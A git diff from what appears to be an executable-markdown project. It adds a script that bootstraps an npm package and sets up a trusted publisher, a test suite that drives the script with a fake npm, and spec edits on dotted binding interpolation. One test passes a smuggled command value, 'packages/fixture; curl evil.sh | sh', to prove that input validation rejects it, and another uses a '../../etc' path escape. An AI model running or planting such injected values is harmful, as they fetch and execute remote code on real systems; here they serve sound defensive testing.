diff --git a/scripts/bootstrap-npm-package.md b/scripts/bootstrap-npm-package.md
new file mode 100644
index 00000000..b7fde1ed
--- /dev/null
+++ b/scripts/bootstrap-npm-package.md
@@ -0,0 +1,267 @@
+---
+title: Bootstrap an npm package
+required: [package]
+props:
+ package:
+ type: string
+ pattern: "^packages/[a-z0-9][a-z0-9._-]*$"
+ description: Workspace package directory, e.g. packages/web
+---
+
+# Bootstrap an npm package
+
+A new `@executablemd` package needs a registry record before its first tagged
+release. This document creates one: it publishes an empty `0.0.0-bootstrap.0`
+artifact under the `bootstrap` dist-tag and configures GitHub Actions as the
+package's trusted publisher. It never publishes `latest` — the first tagged
+release publishes the implementation.
+
+The publish and the trust configuration both need a one-time code, and the
+document asks for it at the point of use. Everything before that point is a
+preview: guards, the generated artifact, and `npm pack --dry-run`. Nothing
+reaches the registry until the code is entered, and a preview that fails ends
+the run without asking for one.
+
+## Run
+
+```sh
+deno task xmd run scripts/bootstrap-npm-package.md --props-package packages/web
+```
+
+> [!WARNING]
+> Run this document **without `-j`/`--journal` and without `--verbose`**. The
+> code you enter is interpolated into the publish command, and the durable entry
+> for a code block records that command: `--journal` persists the code to a file
+> on disk, and `--verbose` reports it to stderr. Neither is needed here.
+
+Two things this document cannot do for you, both because they are browser flows
+that the code prompt cannot carry:
+
+- **Be logged in.** Check with
+ `npm whoami --registry=https://registry.npmjs.org`, and log in if it fails.
+- **Have a recent enough npm.** `npm trust` needs npm 11.15 or newer. The
+ document checks this before anything else and refuses rather than publishing
+ an artifact it cannot then configure — but installing a newer npm is yours.
+ With Volta, `volta install npm@11.18.0` and put that npm first on `PATH`.
+
+Re-running is safe. A package already sitting at `0.0.0-bootstrap.0` under the
+`bootstrap` dist-tag skips the publish and re-runs the trust configuration, so
+a run that lost its code partway through resumes by starting over.
+
+## Preview
+
+
+
+The verdict file is written before the work, not after, so a block that dies
+anywhere — including under `set -euo pipefail`, before it could report — leaves
+a failure behind rather than nothing.
+
+```bash silent exec
+printf 'fail: preview did not complete' > "{artifact}/verdict"
+```
+
+```bash exec
+set -euo pipefail
+
+pkg_dir="{package}"
+artifact_dir="{artifact}"
+registry="https://registry.npmjs.org"
+bootstrap_version="0.0.0-bootstrap.0"
+
+# First, before the registry is contacted at all. An npm too old for `npm trust`
+# can still publish, and would leave exactly the half-configured package this
+# document exists to avoid.
+if ! node -e '
+ const [major, minor] = process.argv[1].split(".").map(Number);
+ process.exit(major > 11 || (major === 11 && minor >= 15) ? 0 : 1);
+' "$(npm --version)"; then
+ echo "npm trust requires npm 11.15 or newer; found $(npm --version)." >&2
+ exit 1
+fi
+
+if [ ! -f "$pkg_dir/deno.json" ] || [ ! -f "$pkg_dir/package.json" ]; then
+ echo "package must name a workspace member with deno.json and package.json: $pkg_dir" >&2
+ exit 1
+fi
+
+pkg_name="$(node -e 'const fs = require("fs"); console.log(JSON.parse(fs.readFileSync(process.argv[1], "utf8")).name)' "$pkg_dir/package.json")"
+pkg_description="$(node -e 'const fs = require("fs"); console.log(JSON.parse(fs.readFileSync(process.argv[1], "utf8")).description ?? "")' "$pkg_dir/package.json")"
+
+case "$pkg_name" in
+ @executablemd/*) ;;
+ *)
+ echo "package must name an @executablemd package: $pkg_name" >&2
+ exit 1
+ ;;
+esac
+
+if existing="$(npm view "$pkg_name" version --json --registry "$registry" 2>&1)"; then
+ if ! printf '%s\n' "$existing" | grep -Fq "\"$bootstrap_version\""; then
+ echo "$pkg_name already exists on npm with a version other than $bootstrap_version:" >&2
+ printf '%s\n' "$existing" >&2
+ exit 1
+ fi
+
+ tags="$(npm view "$pkg_name" dist-tags --json --registry "$registry" 2>&1)"
+ if ! printf '%s\n' "$tags" | grep -Eq "\"bootstrap\"[[:space:]]*:[[:space:]]*\"$bootstrap_version\""; then
+ echo "$pkg_name does not have the expected bootstrap dist-tag:" >&2
+ printf '%s\n' "$tags" >&2
+ exit 1
+ fi
+
+ echo "$pkg_name@$bootstrap_version already exists; the publish will be skipped."
+elif ! printf '%s\n' "$existing" | grep -q 'E404'; then
+ echo "could not confirm whether $pkg_name exists on npm:" >&2
+ printf '%s\n' "$existing" >&2
+ exit 1
+else
+ echo "$pkg_name is absent from npm; it will be published at $bootstrap_version."
+fi
+
+# Generated here and published from here: the artifact previewed below is the
+# artifact that goes to the registry, not a second one built to match it.
+node -e '
+ const fs = require("fs");
+ const [file, name, description] = process.argv.slice(1);
+ fs.writeFileSync(file, JSON.stringify({
+ name,
+ version: "0.0.0-bootstrap.0",
+ description: `Bootstrap reservation for ${description || name}.`,
+ license: "MIT",
+ repository: {
+ type: "git",
+ url: "git+https://github.com/taras/executable.md.git",
+ },
+ homepage: "https://executable.md",
+ files: ["README.md"],
+ }, null, 2) + "\n");
+' "$artifact_dir/package.json" "$pkg_name" "$pkg_description"
+
+cat >"$artifact_dir/README.md" < "$artifact_dir/verdict"
+```
+
+
+
+```bash exec
+cat "{artifact}/verdict"
+```
+
+
+
+The pattern is anchored at both ends, so it accepts the sentinel and nothing
+else: `not ok`, a `fail: …` reason, and an empty verdict all fail it. Only the
+surrounding whitespace a rendered code block carries is tolerated.
+
+
+
+## Publish
+
+The code is asked for here, after the preview and before anything reaches the
+registry. Enter a **fresh** one: both the publish and the trust configuration
+ride the same code, and a code entered early may expire between them.
+
+
+
+```json
+{
+ "type": "object",
+ "properties": {
+ "code": {
+ "type": "string",
+ "pattern": "^\\d{6}$"
+ }
+ },
+ "required": ["code"],
+ "additionalProperties": false
+}
+```
+
+
+
+
+Enter a fresh six-digit npm one-time code. It authorizes both the bootstrap
+publish and the trusted-publisher configuration, so generate it now rather than
+reusing one from a moment ago.
+
+
+```bash silent exec
+printf 'fail: publish did not complete' > "{artifact}/verdict"
+```
+
+```bash exec
+set -euo pipefail
+
+pkg_dir="{package}"
+artifact_dir="{artifact}"
+registry="https://registry.npmjs.org"
+bootstrap_version="0.0.0-bootstrap.0"
+
+pkg_name="$(node -e 'const fs = require("fs"); console.log(JSON.parse(fs.readFileSync(process.argv[1], "utf8")).name)' "$pkg_dir/package.json")"
+
+# Checked again, not carried over from the preview: the operator has been away
+# entering a code, and the registry may have gained the package in the meantime.
+# Publishing on the preview's answer would publish over whatever arrived.
+publish=0
+if existing="$(npm view "$pkg_name" version --json --registry "$registry" 2>&1)"; then
+ if ! printf '%s\n' "$existing" | grep -Fq "\"$bootstrap_version\""; then
+ echo "$pkg_name gained a version other than $bootstrap_version since the preview:" >&2
+ printf '%s\n' "$existing" >&2
+ exit 1
+ fi
+ echo "$pkg_name@$bootstrap_version is already published; skipping the publish."
+elif ! printf '%s\n' "$existing" | grep -q 'E404'; then
+ echo "could not confirm whether $pkg_name exists on npm:" >&2
+ printf '%s\n' "$existing" >&2
+ exit 1
+else
+ publish=1
+fi
+
+if [ "$publish" = "1" ]; then
+ (cd "$artifact_dir" && npm_config_otp={otp.code} npm publish --access public --tag bootstrap --registry "$registry")
+fi
+
+npm_config_otp={otp.code} npm trust github "$pkg_name" \
+ --file publish-packages.yml \
+ --repository taras/executable.md \
+ --environment npm-publish \
+ --allow-publish \
+ --registry "$registry" \
+ --yes
+
+echo "npm dist-tags:"
+npm view "$pkg_name" dist-tags --json --registry "$registry"
+
+echo "trusted publisher:"
+npm trust list "$pkg_name" --registry "$registry"
+
+printf 'ok' > "$artifact_dir/verdict"
+```
+
+
+
+```bash exec
+cat "{artifact}/verdict"
+```
+
+
+
+
+
+## Afterwards
+
+Create the matching package on JSR under the `@executablemd` scope and link it
+to this repository before the next tagged release. `deno publish` fails for a
+package that does not exist on JSR, and the JSR job publishes the workspace as a
+unit — so one uncreated package fails the release for every package.
diff --git a/scripts/tests/bootstrap-npm-package.test.ts b/scripts/tests/bootstrap-npm-package.test.ts
new file mode 100644
index 00000000..b06fb251
--- /dev/null
+++ b/scripts/tests/bootstrap-npm-package.test.ts
@@ -0,0 +1,548 @@
+/**
+ * `scripts/bootstrap-npm-package.md` — the whole document, driven through
+ * `execute()`.
+ *
+ * The document's job is not to publish; it is to refuse to publish. A failed
+ * root code block does not stop a text root — expansion turns it into an
+ * ErrorSegment under the collecting policy and carries on to the next segment —
+ * and a non-zero command that printed anything raises nothing at all
+ * (`packages/core/src/expand.ts:675`, filed as #307). So the ordering this
+ * document depends on is not something the engine provides: it is built out of
+ * a fail-closed verdict file and an anchored ``, and these tests
+ * exist to hold that construction up.
+ *
+ * Every case therefore asserts the completion `Result` and *both* sides of the
+ * ordering — what ran before a failure, and what provably did not run after.
+ * Substitution happens only at contextual Api boundaries: `Elicitation` for the
+ * question, `API.Process` for the code blocks. The document's own shell runs for
+ * real under bash; only `npm` is replaced, by a function on `BASH_ENV`.
+ */
+
+import { beforeAll, describe, it } from "@executablemd/test-support/bdd";
+import { expect } from "@executablemd/test-support/expect";
+import { ensure, resource, scoped, until } from "effection";
+import type { Operation } from "effection";
+import { forEach } from "@effectionx/stream-helpers";
+import { ensureDir, exists, readTextFile, rm, writeTextFile } from "@effectionx/fs";
+import { mkdtemp, realpath } from "node:fs/promises";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { fileURLToPath } from "node:url";
+
+import { InMemoryStream } from "@executablemd/durable-streams";
+import { API } from "@executablemd/runtime";
+import { execute } from "@executablemd/core";
+import { Elicitation } from "@executablemd/core";
+import type { ElicitationRequest } from "@executablemd/core";
+import { installTestingComponents } from "@executablemd/testing";
+import { useTempFileCompiler } from "@executablemd/core";
+
+const DOCUMENT = fileURLToPath(new URL("../bootstrap-npm-package.md", import.meta.url));
+
+const BOOTSTRAP_VERSION = "0.0.0-bootstrap.0";
+const CODE = "123456";
+
+/** What the fake registry answers about the package's current state. */
+type RegistryState = "missing" | "bootstrap" | "unexpected";
+
+/**
+ * The npm the document actually calls.
+ *
+ * It records more than its arguments: `PWD` and a listing of it are what make
+ * the shared-artifact assertions observations rather than inferences, and
+ * `npm_config_otp` is read as a shell variable because a `VAR=x fn` prefix on a
+ * function is visible inside it without being exported.
+ *
+ * The registry answer comes from a file rather than a variable so the
+ * elicitation provider can change it mid-run — which is the only way to reach
+ * the publish-stage recheck independently of the preview.
+ */
+const FAKE_NPM = `
+npm() {
+ printf '%s|PWD=%s|LS=%s|otp=%s\\n' "$*" "$PWD" "$(ls -A | tr '\\n' ',')" "\${npm_config_otp-}" >> "$NPM_LOG"
+ case "$1" in
+ --version) echo "$NPM_VERSION" ;;
+ view)
+ case "$3" in
+ version)
+ case "$(cat "$NPM_STATE_FILE")" in
+ missing) echo "npm error E404" >&2; return 1 ;;
+ bootstrap) echo '"${BOOTSTRAP_VERSION}"' ;;
+ unexpected) echo '"1.0.0"' ;;
+ esac
+ ;;
+ dist-tags) echo '{"bootstrap":"${BOOTSTRAP_VERSION}"}' ;;
+ esac
+ ;;
+ pack)
+ echo '[{"name":"bootstrap-artifact"}]'
+ if [ "\${NPM_PACK_FAILS-}" = "1" ]; then return 1; fi
+ ;;
+ publish)
+ echo 'npm notice publishing bootstrap artifact'
+ if [ "\${NPM_PUBLISH_FAILS-}" = "1" ]; then return 1; fi
+ ;;
+ trust)
+ if [ "\${NPM_TRUST_FAILS-}" = "1" ]; then return 1; fi
+ ;;
+ esac
+}
+`;
+
+interface Fixture {
+ /** Working directory the document's code blocks run in. */
+ root: string;
+ /** File the fake npm reads its registry answer from. */
+ stateFile: string;
+ /** File the fake npm appends one line per call to. */
+ logFile: string;
+ /** File holding the fake npm function, sourced through `BASH_ENV`. */
+ envFile: string;
+}
+
+/**
+ * A workspace the document can bootstrap: one member with the two manifests its
+ * guards require.
+ *
+ * A `resource`, not a `scoped`: a scoped block would delete the directory before
+ * handing back its path.
+ */
+function useFixture(): Operation {
+ return resource(function* (provide) {
+ const root = yield* until(realpath(yield* until(mkdtemp(join(tmpdir(), "bootstrap-npm-")))));
+ yield* ensure(() => rm(root, { recursive: true, force: true }));
+
+ const member = join(root, "packages", "fixture");
+ yield* ensureDir(member);
+ yield* writeTextFile(join(member, "deno.json"), `{"name":"@executablemd/fixture"}\n`);
+ yield* writeTextFile(
+ join(member, "package.json"),
+ `${JSON.stringify({ name: "@executablemd/fixture", description: "A fixture." })}\n`,
+ );
+
+ const fixture: Fixture = {
+ root,
+ stateFile: join(root, "registry-state"),
+ logFile: join(root, "npm.log"),
+ envFile: join(root, "fake-npm.sh"),
+ };
+ yield* writeTextFile(fixture.envFile, FAKE_NPM);
+ yield* provide(fixture);
+ });
+}
+
+/** One recorded call to the fake npm. */
+interface NpmCall {
+ args: string;
+ cwd: string;
+ listing: string;
+ otp: string;
+}
+
+function parseLog(contents: string): NpmCall[] {
+ return contents
+ .split("\n")
+ .filter((line) => line.length > 0)
+ .map((line) => {
+ const [args = "", cwd = "", listing = "", otp = ""] = line.split("|");
+ return {
+ args,
+ cwd: cwd.replace(/^PWD=/, ""),
+ listing: listing.replace(/^LS=/, ""),
+ otp: otp.replace(/^otp=/, ""),
+ };
+ });
+}
+
+interface RunOptions {
+ state?: RegistryState;
+ /** Registry state the provider installs while the operator is "answering". */
+ stateAfterElicit?: RegistryState;
+ npmVersion?: string;
+ packFails?: boolean;
+ publishFails?: boolean;
+ trustFails?: boolean;
+ /** How the provider behaves: answer correctly, fail, or break its schema. */
+ elicit?: "answer" | "throw" | "invalid";
+ /** Overrides the `package` prop, for the input-validation cases. */
+ packageProp?: string;
+ /** Omit `installTestingComponents`, to prove the gate is not inert. */
+ withoutTestingComponents?: boolean;
+ /** Run a variant of the document instead of the real one. */
+ documentPath?: string;
+}
+
+interface Run {
+ ok: boolean;
+ failure: string;
+ /** Everything the document rendered, in the order the CLI would write it. */
+ output: string;
+ calls: NpmCall[];
+ requests: ElicitationRequest[];
+ /** Every command the Process Api was asked to run, interception included. */
+ execCount: number;
+}
+
+function run(fixture: Fixture, options: RunOptions = {}): Operation {
+ return scoped(function* () {
+ const state = options.state ?? "missing";
+ yield* writeTextFile(fixture.stateFile, state);
+ yield* writeTextFile(fixture.logFile, "");
+
+ const requests: ElicitationRequest[] = [];
+ const counter = { execs: 0 };
+
+ // Installed on this scope, not inside a resource: middleware installs on the
+ // scope that runs the install, so a provider installed in a resource body
+ // would be invisible to the execution this function is about to start.
+ if (!options.withoutTestingComponents) {
+ // Required. `execute()` registers no assertion components — only the CLI
+ // does — so without this the document's gates do not
+ // resolve, every ordering assertion below passes vacuously, and a
+ // successful run is indistinguishable from a correct one apart from an
+ // unresolved-component comment in the output.
+ yield* installTestingComponents({ verbose: false });
+ }
+ yield* useTempFileCompiler();
+
+ yield* Elicitation.around(
+ {
+ *elicit([request]) {
+ requests.push(request);
+ if (options.stateAfterElicit) {
+ yield* writeTextFile(fixture.stateFile, options.stateAfterElicit);
+ }
+ if (options.elicit === "throw") {
+ throw new Error("provider could not reach anyone");
+ }
+ if (options.elicit === "invalid") {
+ return { unexpected: true };
+ }
+ return { code: CODE };
+ },
+ },
+ { at: "min" },
+ );
+
+ yield* API.Process.around({
+ *exec([execOptions], next) {
+ counter.execs++;
+ return yield* next({
+ ...execOptions,
+ cwd: fixture.root,
+ env: {
+ ...process.env,
+ BASH_ENV: fixture.envFile,
+ NPM_LOG: fixture.logFile,
+ NPM_STATE_FILE: fixture.stateFile,
+ NPM_VERSION: options.npmVersion ?? "11.18.0",
+ NPM_PACK_FAILS: options.packFails ? "1" : "",
+ NPM_PUBLISH_FAILS: options.publishFails ? "1" : "",
+ NPM_TRUST_FAILS: options.trustFails ? "1" : "",
+ },
+ });
+ },
+ });
+
+ const chunks: string[] = [];
+ let ok = false;
+ let failure = "";
+ try {
+ const execution = yield* execute({
+ path: options.documentPath ?? DOCUMENT,
+ stream: new InMemoryStream(),
+ props: { package: options.packageProp ?? "packages/fixture" },
+ });
+ // The two steps cli.ts performs, in its order: drain the output stream
+ // first, then read the completion Result. Every failure below arrives
+ // through the Result rather than by throwing out of the stream.
+ yield* forEach(function* (chunk: string) {
+ chunks.push(chunk);
+ }, execution.output);
+ const result = yield* execution;
+ ok = result.ok;
+ failure = result.ok ? "" : String(result.error?.message ?? result.error);
+ } catch (error) {
+ failure = error instanceof Error ? error.message : String(error);
+ }
+
+ return {
+ ok,
+ failure,
+ output: chunks.join(""),
+ calls: parseLog(yield* readLog(fixture)),
+ requests,
+ execCount: counter.execs,
+ };
+ });
+}
+
+function* readLog(fixture: Fixture): Operation {
+ if (!(yield* exists(fixture.logFile))) {
+ return "";
+ }
+ return yield* readTextFile(fixture.logFile);
+}
+
+/** Did npm get asked to do this? `args` is matched as a prefix of the call. */
+function called(run: Run, args: string): boolean {
+ return run.calls.some((call) => call.args.startsWith(args));
+}
+
+function callTo(run: Run, args: string): NpmCall | undefined {
+ return run.calls.find((call) => call.args.startsWith(args));
+}
+
+/**
+ * Nothing reached the registry and nobody was asked. The publish-side half of
+ * every refusal, asserted as one thing so no case can forget a piece of it.
+ */
+function expectNoRegistryWrite(run: Run): void {
+ expect(called(run, "publish")).toBe(false);
+ expect(called(run, "trust github")).toBe(false);
+}
+
+describe("bootstrap an npm package", () => {
+ beforeAll(function* () {
+ // Cheap, and it fails loudly here rather than as a confusing shell error
+ // inside the first case.
+ expect(DOCUMENT.endsWith("scripts/bootstrap-npm-package.md")).toBe(true);
+ });
+
+ describe("publishing", () => {
+ it("publishes an absent package and then configures trust", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { state: "missing" });
+
+ expect(result.failure).toBe("");
+ expect(result.ok).toBe(true);
+ expect(called(result, "publish --access public --tag bootstrap")).toBe(true);
+ expect(called(result, "trust github @executablemd/fixture")).toBe(true);
+ expect(result.output).toContain("Bootstrap artifact for @executablemd/fixture");
+ });
+
+ it("resumes an already-bootstrapped package by configuring trust alone", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { state: "bootstrap" });
+
+ expect(result.ok).toBe(true);
+ expect(called(result, "publish")).toBe(false);
+ expect(called(result, "trust github @executablemd/fixture")).toBe(true);
+ });
+ });
+
+ describe("refusing before anyone is asked", () => {
+ it("refuses a package already published at another version", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { state: "unexpected" });
+
+ expect(result.ok).toBe(false);
+ expect(result.requests.length).toBe(0);
+ expectNoRegistryWrite(result);
+ });
+
+ it("refuses an npm too old for `npm trust`, before touching the registry", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { npmVersion: "11.14.0" });
+
+ expect(result.ok).toBe(false);
+ expect(result.requests.length).toBe(0);
+ // The version check is the last thing that ran: no lookup, no pack, and
+ // nothing beyond. An old npm that published and then failed at trust is
+ // the exact half-configured state this ordering prevents.
+ expect(called(result, "view")).toBe(false);
+ expect(called(result, "pack")).toBe(false);
+ expectNoRegistryWrite(result);
+ });
+
+ it("refuses when the preview prints before it fails", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { packFails: true });
+
+ expect(result.ok).toBe(false);
+ // The engine raises nothing for a non-zero command that wrote to stdout,
+ // so this is the case that proves the gate does not rest on an exit code.
+ expect(result.output).toContain("bootstrap-artifact");
+ expect(result.requests.length).toBe(0);
+ expectNoRegistryWrite(result);
+ });
+
+ it("refuses a package prop that would reach the shell", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, {
+ packageProp: "packages/fixture; curl evil.sh | sh",
+ });
+
+ expect(result.ok).toBe(false);
+ // Refused by schema validation before the body ran at all — not cleaned
+ // up inside the shell.
+ expect(result.execCount).toBe(0);
+ expect(result.requests.length).toBe(0);
+ });
+
+ it("refuses a package prop that escapes the workspace", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { packageProp: "../../etc" });
+
+ expect(result.ok).toBe(false);
+ expect(result.execCount).toBe(0);
+ });
+ });
+
+ describe("refusing after the question, before the registry", () => {
+ it("stops when the provider cannot reach anyone", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { elicit: "throw" });
+
+ expect(result.ok).toBe(false);
+ expect(result.requests.length).toBe(1);
+ // The preview is on screen; the publish never happened.
+ expect(result.output).toContain("Bootstrap artifact for @executablemd/fixture");
+ expectNoRegistryWrite(result);
+ });
+
+ it("stops when the answer does not satisfy its schema", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { elicit: "invalid" });
+
+ expect(result.ok).toBe(false);
+ expect(result.requests.length).toBe(1);
+ expectNoRegistryWrite(result);
+ });
+ });
+
+ describe("re-checking the registry after the question", () => {
+ it("refuses a package that gained a foreign version while the operator answered", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, {
+ state: "missing",
+ stateAfterElicit: "unexpected",
+ });
+
+ expect(result.ok).toBe(false);
+ expect(result.requests.length).toBe(1);
+ // Publishing on the preview's answer would have published over whatever
+ // arrived in the meantime.
+ expectNoRegistryWrite(result);
+ });
+
+ it("skips the publish for a package bootstrapped while the operator answered", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, {
+ state: "missing",
+ stateAfterElicit: "bootstrap",
+ });
+
+ expect(result.ok).toBe(true);
+ expect(called(result, "publish")).toBe(false);
+ expect(called(result, "trust github @executablemd/fixture")).toBe(true);
+ });
+ });
+
+ describe("failing on the registry", () => {
+ it("reports a publish that prints before it fails, and does not configure trust", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { publishFails: true });
+
+ expect(result.ok).toBe(false);
+ expect(called(result, "publish")).toBe(true);
+ expect(called(result, "trust github")).toBe(false);
+ });
+
+ it("reports a failed trust configuration", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { trustFails: true });
+
+ expect(result.ok).toBe(false);
+ expect(called(result, "publish")).toBe(true);
+ expect(called(result, "trust github @executablemd/fixture")).toBe(true);
+ });
+ });
+
+ describe("what the document guarantees about its own shape", () => {
+ it("previews before it asks, and asks before it publishes", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { state: "missing" });
+
+ const packAt = result.calls.findIndex((call) => call.args.startsWith("pack"));
+ const publishAt = result.calls.findIndex((call) => call.args.startsWith("publish"));
+ expect(packAt).toBeGreaterThanOrEqual(0);
+ expect(publishAt).toBeGreaterThan(packAt);
+ // The preview's output is on screen before the question is asked, without
+ // --verbose — which is what makes the operator's answer an informed one.
+ expect(result.output).toContain("Bootstrap artifact for @executablemd/fixture");
+ });
+
+ it("carries one code to both the publish and the trust configuration", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { state: "missing" });
+
+ expect(callTo(result, "publish")?.otp).toBe(CODE);
+ expect(callTo(result, "trust github")?.otp).toBe(CODE);
+ });
+
+ it("publishes the artifact the preview built, from the directory it built it in", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { state: "missing" });
+
+ const pack = callTo(result, "pack");
+ const publish = callTo(result, "publish");
+ expect(pack?.cwd).toBeDefined();
+ expect(publish?.cwd).toBe(pack?.cwd);
+ // Written by the preview block, still there when the publish runs.
+ expect(publish?.listing).toContain("package.json");
+ expect(publish?.listing).toContain("README.md");
+ });
+
+ it("releases the shared directory when the run ends", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { state: "missing" });
+
+ const publish = callTo(result, "publish");
+ expect(publish?.cwd).toBeDefined();
+ expect(yield* exists(publish?.cwd ?? "")).toBe(false);
+ });
+
+ it("resolves every component it uses", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, { state: "missing" });
+
+ // Without this, an unresolved would leave the run looking
+ // exactly like a correct one — same outcome, same calls — and every
+ // ordering assertion above would pass while the gates did nothing.
+ expect(result.output).not.toContain("Cannot resolve component");
+ });
+
+ it("rejects a verdict that merely contains the sentinel", function* () {
+ const fixture = yield* useFixture();
+ // The seeded failure becomes `not ok` — a string a substring test would
+ // have accepted, letting the run continue to publish. The gate's pattern
+ // is anchored, so it refuses.
+ const source = yield* readTextFile(DOCUMENT);
+ const mutated = source.replace("printf 'fail: preview did not complete'", "printf 'not ok'");
+ expect(mutated).not.toBe(source);
+ const variant = join(fixture.root, "not-ok-variant.md");
+ yield* writeTextFile(variant, mutated);
+
+ const result = yield* run(fixture, { packFails: true, documentPath: variant });
+
+ expect(result.ok).toBe(false);
+ expect(result.requests.length).toBe(0);
+ expectNoRegistryWrite(result);
+ });
+
+ it("has inert gates when the assertion components are missing", function* () {
+ const fixture = yield* useFixture();
+ const result = yield* run(fixture, {
+ state: "unexpected",
+ withoutTestingComponents: true,
+ });
+
+ // Not a guarantee the document makes — a guarantee about this suite. A
+ // refusal case runs to completion and publishes when the gate cannot
+ // resolve, which is what `installTestingComponents` is holding up.
+ expect(result.ok).toBe(true);
+ expect(result.output).toContain("Cannot resolve component");
+ });
+ });
+});
diff --git a/specs/executable-mdx-spec.md b/specs/executable-mdx-spec.md
index fb4bb386..38aa876f 100644
--- a/specs/executable-mdx-spec.md
+++ b/specs/executable-mdx-spec.md
@@ -1445,7 +1445,7 @@ run but are absent from the diagnostic trace.
| `src/errors.ts` | `AmbientErrorPolicy`, `settle()`, `DocumentationError`, `ContentError` — error settlement (§6.9) and the function-content failure boundary (§5.1.2) |
| `packages/test-support/bdd.ts` | Cross-runtime Effection BDD adapter — drives `@std/testing/bdd`, `node:test`, and `bun:test` |
| `src/eval-handler.ts` | `evalFactory` |
-| `src/eval-interpolate.ts` | `interpolateEvalBindings()` — bare `{name}` substitution |
+| `src/eval-interpolate.ts` | `interpolateEvalBindings()` — `{name}` and `{name.path}` substitution |
| `src/modifiers/persist.ts` | `persistFactory` |
| `src/modifiers/timeout.ts` | `timeoutFactory`, `parseDuration()` |
| `src/modifiers/daemon.ts` | `daemonFactory` — long-running subprocess terminal modifier |
@@ -3553,11 +3553,12 @@ terms as ``.
### 6.6 Eval binding interpolation
-Bare `{name}` references (no namespace prefix) resolve against
-`env.values` — the eval binding environment populated by preceding
-`eval` blocks within the same component. This applies to both
-**code block content** and **text segments** (see §6.4 for the text
-segment interpolation pipeline).
+`{name}` references resolve against `env.values` — the eval binding
+environment populated by preceding `eval` blocks within the same
+component. A reference may be a bare name or a dot path: the first
+segment names the binding, and the rest traverse into it. This applies
+to both **code block content** and **text segments** (see §6.4 for the
+text segment interpolation pipeline).
````markdown
```ts eval
@@ -3572,26 +3573,51 @@ const port = yield* findFreePort();
`{port}` resolves to the number exported by the first block. The
substituted content is used to build the subprocess command.
+A binding holding an object is read the same way, one dot at a time:
+
+````markdown
+```ts eval
+const release = { tag: "v1.4.0", author: { name: "Ada" } };
+```
+
+```bash exec
+gh release view {release.tag} --json body
+echo "cut by {release.author.name}"
+```
+````
+
#### Interpolation syntax and precedence
-Bare `{name}` references use JavaScript identifier syntax:
+References use JavaScript identifier syntax, optionally chained:
```
-\{([a-zA-Z_$][a-zA-Z0-9_$]*)\}
+\{([a-zA-Z_$][a-zA-Z0-9_$]*(?:\.[a-zA-Z_$][a-zA-Z0-9_$]*)*)\}
```
-Namespaced references (`{meta.*}`, `{props.*}`) contain a `.` and
-are excluded — they are handled by the existing interpolation pass
-for text segments. Bare references only match against `env.values`.
-If `env.values` has no key `name`, the reference `{name}` is left
-verbatim. Non-string values are converted via `String()`.
+The **first** segment must be a key in `env.values`; the remaining
+segments traverse into the value it holds. A reference is left
+verbatim when its first segment is not a binding, when an
+intermediate value is `null` or `undefined`, or when an intermediate
+segment is missing — so a dotted reference that cannot be resolved
+appears in the output rather than becoming `undefined`. Non-string
+values are converted via `String()`.
+
+Namespaced references (`{meta.*}`, `{props.*}`) match this pattern
+too; nothing excludes them by shape. In **text segments** they never
+reach this pass, because `interpolate()` (§6.4) consumes them first.
+In **code block content** they reach it and are left verbatim,
+because `meta` and `props` are not binding names — the mechanism is
+"no such binding", not a rule about dots.
Note: `{meta.*}` and `{props.*}` interpolation applies only to
**text segments**, not to code block content. Code blocks receive
-only eval binding interpolation (`{name}`). To use a prop value in a
-code block, capture it into a binding via an `eval` block first.
-Text segments receive both passes: `{meta.*}`/`{props.*}` first,
-then bare `{name}` from `env.values`.
+only eval binding interpolation. To use a prop value in a code block,
+read it under the name the prop is bound to — declared props are
+pre-populated into `env.values` at invocation (DEC-EX-09), and at the
+root by `execute()` — so a `package` prop is `{package}` in a code
+block and `{props.package}` in prose. Text segments receive both
+passes: `{meta.*}`/`{props.*}` first, then `{name}` from
+`env.values`.
#### Where interpolation runs
@@ -3603,7 +3629,7 @@ Eval binding interpolation runs in `expandSegments` in two places:
are not responsible for text preparation.
2. **Text segments** — after `{meta.*}`/`{props.*}` interpolation
- (§6.4). The second pass resolves bare `{name}` references from
+ (§6.4). The second pass resolves `{name}` references from
`env.values` when an `EvalEnv` is present on the scope.
Eval blocks skip interpolation entirely — they access bindings directly
@@ -3618,8 +3644,25 @@ function interpolateEvalBindings(
// Protect escaped braces: \{ → placeholder
const escaped = content.replaceAll("\\{", PLACEHOLDER);
const interpolated = escaped.replace(
- /\{([a-zA-Z_$][a-zA-Z0-9_$]*)\}/g,
- (match, key) => key in bindings ? String(bindings[key]) : match,
+ /\{([a-zA-Z_$][a-zA-Z0-9_$]*(?:\.[a-zA-Z_$][a-zA-Z0-9_$]*)*)\}/g,
+ (match, key: string) => {
+ const parts = key.split(".");
+ if (!(parts[0] in bindings)) {
+ return match;
+ }
+ let value: unknown = bindings;
+ for (let i = 0; i < parts.length; i++) {
+ if (value == null || typeof value !== "object") {
+ return match;
+ }
+ const obj = value as Record;
+ if (i < parts.length - 1 && !(parts[i] in obj)) {
+ return match;
+ }
+ value = obj[parts[i]];
+ }
+ return String(value);
+ },
);
// Restore escaped braces: placeholder → literal {
return interpolated.replaceAll(PLACEHOLDER, "{");
@@ -6306,12 +6349,18 @@ visible warning blocks, collect into a separate error report).
|---|------|--------|
| P1 | Bare binding resolves from `env.values` | `{port}` with `env.values.port = 49821` → `"49821"` in content |
